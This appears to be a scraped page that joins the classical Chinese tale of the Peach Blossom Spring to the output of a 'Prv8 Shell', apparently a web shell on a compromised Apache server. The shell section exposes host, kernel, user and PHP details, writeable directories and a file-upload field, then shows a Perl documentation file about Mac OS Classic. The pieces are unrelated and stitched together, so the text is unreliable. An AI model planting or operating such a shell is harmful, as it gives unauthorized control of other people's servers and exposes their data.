晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/usr/share/perl5/pod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/perl5/pod/perlmacos.pod
If you read this file _as_is_, just ignore the funny characters you see.
It is written in the POD format (see pod/perlpod.pod) which is specially
designed to be readable as is.

=head1 NAME

perlmacos - Perl under Mac OS (Classic)

=head1 SYNOPSIS

For Mac OS X see README.macosx

Perl under Mac OS Classic has not been supported since before Perl 5.10
(April 2004).

When we say "Mac OS" below, we mean Mac OS 7, 8, and 9, and I<not>
Mac OS X.

=head1 DESCRIPTION

The port of Perl to to Mac OS was officially removed as of Perl 5.12,
though the last official production release of MacPerl corresponded to 
Perl 5.6. While Perl 5.10 included the port to Mac OS, ExtUtils::MakeMaker,
a core part of Perl's module installation infrastructure officially dropped support for Mac OS in April 2004.

=head1 AUTHOR

Perl was ported to Mac OS by Matthias Neeracher
E<lt>neeracher@mac.comE<gt>. Chris Nandor E<lt>pudge@pobox.comE<gt>
continued development and maintenance for the duration of the port's life.

haha - 2025